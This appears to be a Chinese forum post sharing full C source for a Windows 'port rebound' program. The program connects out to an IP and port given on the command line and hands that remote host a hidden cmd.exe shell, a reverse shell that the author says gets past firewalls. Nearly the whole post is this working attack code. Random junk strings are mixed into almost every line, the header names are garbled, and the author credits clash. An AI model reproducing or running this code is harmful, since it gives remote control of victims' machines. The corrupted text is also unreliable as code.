Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Yez  
-h21  
/* ============================== LAGg(:3f3  
Rebound port in Windows NT b~?3HY:t~K  
By wind,2006/7 w ; PV &M  
===============================*/ AQPzId*z  
#include 6-\C?w A  
#include N::.o+1  
'EB5#  
#pragma comment(lib,"wsock32.lib") p]6/1&t="  
w!RJ8  
void OutputShell(); ,UfB{BW  
SOCKET sClient; RPkOtRKL=w  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; DCgiTT\  
7??j}ob>  
void main(int argc,char **argv) (`d_DQ  
{ ah!fQLMH  
WSADATA stWsaData; /4 .]L~  
int nRet; 9$^v*!<z\  
SOCKADDR_IN stSaiClient,stSaiServer; KA."[dVa  
+}C M2>M  
if(argc != 3) G 'CYvV  
{ %sS7o3RW\  
printf("Useage:\n\rRebound DestIP DestPort\n"); zU# OjvNk  
return; KvEZbf3f  
} Ifj%"RI  
!<^`Sx/+  
WSAStartup(MAKEWORD(2,2),&stWsaData); |RI77b:pX  
7T?7KS  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P#2;1ki>  
EU()Nnm2  
stSaiClient.sin_family = AF_INET; ?D]T|=EZY  
stSaiClient.sin_port = htons(0); #Y>d@  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w*AXD!}  
{N0ky=ud  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) DO? bJ01  
{ =e]Wt
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printf("Bind Socket Failed!\n"); 1F?ylZ|~  
return; 8;P_KRaE  
} uzLIllVX*  
W97 &[([
 
stSaiServer.sin_family = AF_INET; +e)RT<  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); dYhLk2  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); mWU*}-M  
Q$2^m(?;  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |)Sx"B)  
{ yGPi9j{QXq  
printf("Connect Error!"); +,}C
uF  
return; 0'Qo eFKG  
} 2 Xc,c*r  
OutputShell(); i{2rQy+  
}  h93
  
EB>rY  
void OutputShell() q8vRUlf  
{ [>f4&yY  
char szBuff[1024]; XcQ'(  
SECURITY_ATTRIBUTES stSecurityAttributes; !O#NP!  
OSVERSIONINFO stOsversionInfo; .:jfNp~jt  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [u`9R<>c"U  
STARTUPINFO stStartupInfo; FZtILlw  
char *szShell; w5}2$r  
PROCESS_INFORMATION stProcessInformation; _:9-x;0H2  
unsigned long lBytesRead; z/7"!  

LQP4#7  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); R P6R1iN3  
siGt5RH*  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cx(b5Z  
stSecurityAttributes.lpSecurityDescriptor = 0; 0)3*E)g{  
stSecurityAttributes.bInheritHandle = TRUE; agW#"9]WM  
UkBr4{+aE  
;hp?wb  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H>5@/0cL2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); W= \gPCo  
y'pX/5R0  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #oD*H:%*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Oo95\Yf$N  
stStartupInfo.wShowWindow = SW_HIDE; Mkadl<  
stStartupInfo.hStdInput = hReadPipe; & pS5_x  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xo*[ g`N  
Fu!sw]6xx  
GetVersionEx(&stOsversionInfo); CI6qDh6  
cX/["AM  
switch(stOsversionInfo.dwPlatformId) kP}91kja  
{ k`Ifd:V.y  
case 1: G!IJ#|D:~  
szShell = "command.com"; (1b%);L7  
break; R?[KK<sWWe  
default: c{t(),nAA  
szShell = "cmd.exe";  ~WG#Zci-  
break; p![CH  
} &za~=+  
ssC5YtF7X  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); tmI2BBv  
ocT.2/~d  
send(sClient,szMsg,77,0); l~Sn`%PgA  
while(1) (eAh8^)  
{ UZ+FV;<  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .J3Dk=/  
if(lBytesRead) a<K@rgQ  
{ f<0nj?  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~8G<Nw4
*\  
send(sClient,szBuff,lBytesRead,0); 7|Tu@0XXA  
} o$DJL11E  
else oLp:Z=  
{ X`k[ J6  
lBytesRead=recv(sClient,szBuff,1024,0); u)fmXoQ  
if(lBytesRead<=0) break; !]k$a  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K r&HT,>B  
} i3} ^j?jA2  
} ]gQ4qu5  
\WVrn>%xu  
return; O{9h'JU  
}